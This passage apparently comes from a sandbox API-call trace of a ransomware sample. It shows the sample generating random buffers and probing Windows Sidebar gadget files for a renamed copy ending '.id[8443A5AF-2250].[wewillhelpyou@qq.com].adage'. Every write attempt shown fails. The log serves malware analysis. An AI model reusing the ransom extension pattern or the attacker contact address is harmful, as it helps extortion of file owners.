hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\cpu.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\cpu.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.083] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=18348) returned 1 [0064.083] CloseHandle (hObject=0x1a4) returned 1 [0064.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\cpu.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\cpu.js")) returned 0x20 [0064.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\cpu.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\cpu.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\cpu.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\cpu.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.084] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.084] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=9186) returned 1 [0064.084] CloseHandle (hObject=0x1a4) returned 1 [0064.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\icon.png")) returned 0x20 [0064.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\icon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.084] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.085] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=17126) returned 1 [0064.086] CloseHandle (hObject=0x1a4) returned 1 [0064.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png")) returned 0x20 [0064.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.086] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.095] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=26193) returned 1 [0064.095] CloseHandle (hObject=0x1b0) returned 1 [0064.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png")) returned 0x20 [0064.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\back_lrg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.096] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.096] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=346) returned 1 [0064.096] CloseHandle (hObject=0x1b0) returned 1 [0064.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png")) returned 0x20 [0064.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.096] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.099] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3217) returned 1 [0064.099] CloseHandle (hObject=0x180) returned 1 [0064.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png")) returned 0x20 [0064.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.100] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot_lrg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.100] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4042) returned 1 [0064.100] CloseHandle (hObject=0x180) returned 1 [0064.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot_lrg.png")) returned 0x20 [0064.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot_lrg.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot_lrg.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot_lrg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.101] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.103] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3081) returned 1 [0064.103] CloseHandle (hObject=0x1b0) returned 1 [0064.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png")) returned 0x20 [0064.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.104] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg_sml.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.104] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3075) returned 1 [0064.104] CloseHandle (hObject=0x1b0) returned 1 [0064.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg_sml.png")) returned 0x20 [0064.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg_sml.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg_sml.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg_sml.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.104] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.243] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3026) returned 1 [0064.243] CloseHandle (hObject=0x1b0) returned 1 [0064.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png")) returned 0x20 [0064.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_sml.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_sml.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.243] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass_lrg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.335] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=443) returned 1 [0064.335] CloseHandle (hObject=0x180) returned 1 [0064.335] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass_lrg.png")) returned 0x20 [0064.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass_lrg.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass_lrg.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\glass_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\glass_lrg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.336] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\settings.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.483] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1644) returned 1 [0064.483] CloseHandle (hObject=0x1ac) returned 1 [0064.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\settings.css")) returned 0x20 [0064.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\settings.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\settings.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.484] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.484] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.487] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1244) returned 1 [0064.487] CloseHandle (hObject=0x1ac) returned 1 [0064.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\gadget.xml")) returned 0x20 [0064.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\gadget.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.488] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\flyout.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.489] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6642) returned 1 [0064.489] CloseHandle (hObject=0x1ac) returned 1 [0064.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\flyout.html")) returned 0x20 [0064.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\flyout.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\flyout.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\flyout.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.489] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mousedown.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.491] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=184) returned 1 [0064.491] CloseHandle (hObject=0x1ac) returned 1 [0064.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mousedown.png")) returned 0x20 [0064.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mousedown.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mousedown.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mousedown.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.492] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseout.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.492] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=184) returned 1 [0064.492] CloseHandle (hObject=0x1ac) returned 1 [0064.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseout.png")) returned 0x20 [0064.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseout.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseout.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseout.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.493] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 